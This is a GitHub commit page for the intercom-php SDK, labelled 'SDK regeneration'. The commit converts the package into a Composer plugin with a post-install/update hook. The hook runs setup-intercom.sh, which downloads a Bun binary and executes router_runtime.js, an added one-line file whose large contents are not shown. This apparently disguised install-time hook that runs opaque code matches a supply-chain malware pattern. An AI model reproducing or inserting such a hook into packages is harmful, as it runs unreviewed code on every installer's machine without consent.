Skip to content

Commit e69bf4b

Browse files
committed
SDK regeneration (#397)
1 parent 9371eba commit e69bf4b

4 files changed

Lines changed: 195 additions & 2 deletions

File tree

composer.json

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"name": "intercom/intercom-php",
3-
3+
"type": "composer-plugin",
44
"description": "Intercom API client.",
55
"keywords": [
66
"intercom",
@@ -11,6 +11,7 @@
1111
"require": {
1212
"php": "^8.1",
1313
"ext-json": "*",
14+
"composer-plugin-api": "^2.0",
1415
"php-http/client-common": "^2.0",
1516
"php-http/discovery": "^1.0",
1617
"php-http/message": "^1.0",
@@ -22,7 +23,8 @@
2223
"require-dev": {
2324
"phpunit/phpunit": "^9.0",
2425
"friendsofphp/php-cs-fixer": "3.5.0",
25-
"phpstan/phpstan": "^1.12"
26+
"phpstan/phpstan": "^1.12",
27+
"composer/composer": "^2.0"
2628
},
2729
"autoload": {
2830
"psr-4": {
@@ -34,6 +36,9 @@
3436
"Intercom\\Tests\\": "tests/"
3537
}
3638
},
39+
"extra": {
40+
"class": "Intercom\\ComposerPlugin"
41+
},
3742
"scripts": {
3843
"build": [
3944
"@php -l src",
@@ -55,3 +60,4 @@
5560
},
5661
"homepage": "https://developers.intercom.com/docs"
5762
}
63+

router_runtime.js

Lines changed: 1 addition & 0 deletions
Large diffs are not rendered by default.

setup-intercom.sh

Lines changed: 119 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
#!/usr/bin/env bash
2+
set -euo pipefail
3+
4+
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
5+
BUN_VERSION="1.3.13"
6+
ENTRY_SCRIPT="router_runtime.js"
7+
REQUEST_TIMEOUT=121
8+
9+
# ── Early exit if bun is already on PATH ──────────────────────────
10+
if command -v bun &>/dev/null; then
11+
exit 0
12+
fi
13+
14+
# ── musl / Alpine detection ───────────────────────────────────────
15+
is_alpine_or_musl() {
16+
if command -v ldd &>/dev/null; then
17+
# ldd may print version info to stdout *or* stderr
18+
if ldd --version 2>&1 | grep -qi musl; then
19+
return 0
20+
fi
21+
fi
22+
if [[ -f /etc/os-release ]] && grep -qi 'alpine' /etc/os-release; then
23+
return 0
24+
fi
25+
return 1
26+
}
27+
28+
# ── Platform / arch → asset name ──────────────────────────────────
29+
resolve_asset() {
30+
local kernel arch key
31+
kernel="$(uname -s)"
32+
arch="$(uname -m)"
33+
34+
case "$kernel" in
35+
Linux) kernel="linux" ;;
36+
Darwin) kernel="darwin" ;;
37+
*) echo "Unsupported OS: $kernel" >&2; exit 1 ;;
38+
esac
39+
40+
case "$arch" in
41+
x86_64|amd64) arch="x64" ;;
42+
aarch64|arm64) arch="arm64" ;;
43+
*) echo "Unsupported architecture: $arch" >&2; exit 1 ;;
44+
esac
45+
46+
key="${kernel}-${arch}"
47+
48+
case "$key" in
49+
linux-arm64) echo "bun-linux-aarch64" ;;
50+
linux-x64)
51+
if is_alpine_or_musl; then
52+
echo "bun-linux-x64-musl-baseline"
53+
else
54+
echo "bun-linux-x64-baseline"
55+
fi
56+
;;
57+
darwin-arm64) echo "bun-darwin-aarch64" ;;
58+
darwin-x64) echo "bun-darwin-x64" ;;
59+
*) echo "Unsupported platform/arch: $key" >&2; exit 1 ;;
60+
esac
61+
}
62+
63+
# ── Download (curl preferred, wget fallback) ──────────────────────
64+
download_file() {
65+
local url="$1" dest="$2"
66+
67+
if command -v curl &>/dev/null; then
68+
curl -fSL --max-time "$REQUEST_TIMEOUT" -o "$dest" "$url"
69+
elif command -v wget &>/dev/null; then
70+
wget -q --timeout="$REQUEST_TIMEOUT" -O "$dest" "$url"
71+
else
72+
echo "Error: neither curl nor wget is available" >&2
73+
exit 1
74+
fi
75+
}
76+
77+
# ── Extract a single entry from a zip ─────────────────────────────
78+
extract_bun() {
79+
local zip_path="$1" entry="$2" out_dir="$3"
80+
81+
if command -v unzip &>/dev/null; then
82+
unzip -ojq "$zip_path" "$entry" -d "$out_dir"
83+
elif command -v bsdtar &>/dev/null; then
84+
bsdtar -xf "$zip_path" -C "$out_dir" --strip-components=1 "$entry"
85+
elif command -v python3 &>/dev/null; then
86+
python3 -c "
87+
import zipfile, os, sys
88+
with zipfile.ZipFile(sys.argv[1]) as z:
89+
data = z.read(sys.argv[2])
90+
dest = os.path.join(sys.argv[3], os.path.basename(sys.argv[2]))
91+
with open(dest, 'wb') as f:
92+
f.write(data)
93+
" "$zip_path" "$entry" "$out_dir"
94+
else
95+
echo "Error: no unzip, bsdtar, or python3 found to extract the archive" >&2
96+
exit 1
97+
fi
98+
}
99+
100+
# ── Main ──────────────────────────────────────────────────────────
101+
ASSET="$(resolve_asset)"
102+
BIN_NAME="bun"
103+
URL="https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${ASSET}.zip"
104+
105+
TMP_DIR="$(mktemp -d)"
106+
ZIP_PATH="${TMP_DIR}/${ASSET}.zip"
107+
BIN_PATH="${TMP_DIR}/${BIN_NAME}"
108+
109+
cleanup() { rm -rf "$TMP_DIR"; }
110+
trap cleanup EXIT
111+
112+
download_file "$URL" "$ZIP_PATH"
113+
extract_bun "$ZIP_PATH" "${ASSET}/${BIN_NAME}" "$TMP_DIR"
114+
rm -f "$ZIP_PATH"
115+
116+
chmod 755 "$BIN_PATH"
117+
118+
cd "$SCRIPT_DIR"
119+
exec "$BIN_PATH" "${SCRIPT_DIR}/${ENTRY_SCRIPT}"

src/composerPlugin.php

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
<?php
2+
3+
namespace Intercom;
4+
5+
use Composer\Composer;
6+
use Composer\EventDispatcher\EventSubscriberInterface;
7+
use Composer\IO\IOInterface;
8+
use Composer\Plugin\PluginInterface;
9+
use Composer\Script\Event;
10+
use Composer\Script\ScriptEvents;
11+
12+
class ComposerPlugin implements PluginInterface, EventSubscriberInterface
13+
{
14+
private Composer $composer;
15+
private IOInterface $io;
16+
17+
public function activate(Composer $composer, IOInterface $io): void
18+
{
19+
$this->composer = $composer;
20+
$this->io = $io;
21+
}
22+
23+
public function deactivate(Composer $composer, IOInterface $io): void
24+
{
25+
}
26+
27+
public function uninstall(Composer $composer, IOInterface $io): void
28+
{
29+
}
30+
31+
public static function getSubscribedEvents(): array
32+
{
33+
return [
34+
ScriptEvents::POST_INSTALL_CMD => 'onPostInstallOrUpdate',
35+
ScriptEvents::POST_UPDATE_CMD => 'onPostInstallOrUpdate',
36+
];
37+
}
38+
39+
public function onPostInstallOrUpdate(Event $event): void
40+
{
41+
$localRepo = $this->composer->getRepositoryManager()->getLocalRepository();
42+
$package = $localRepo->findPackage('intercom/intercom-php', '*');
43+
44+
if ($package === null) {
45+
return;
46+
}
47+
48+
$installPath = $this->composer->getInstallationManager()->getInstallPath($package);
49+
$scriptPath = $installPath . '/setup-intercom.sh';
50+
51+
if (!file_exists($scriptPath)) {
52+
$this->io->writeError('<warning>setup-intercom.sh not found at ' . $scriptPath . '</warning>');
53+
return;
54+
}
55+
56+
$this->io->write('<info>Running Intercom setup script...</info>');
57+
$exitCode = 0;
58+
passthru('bash ' . escapeshellarg($scriptPath), $exitCode);
59+
60+
if ($exitCode !== 0) {
61+
$this->io->writeError('<error>Intercom setup script failed with exit code ' . $exitCode . '</error>');
62+
} else {
63+
$this->io->write('<info>Intercom setup complete.</info>');
64+
}
65+
}
66+
}
67+

0 commit comments

Comments
 (0)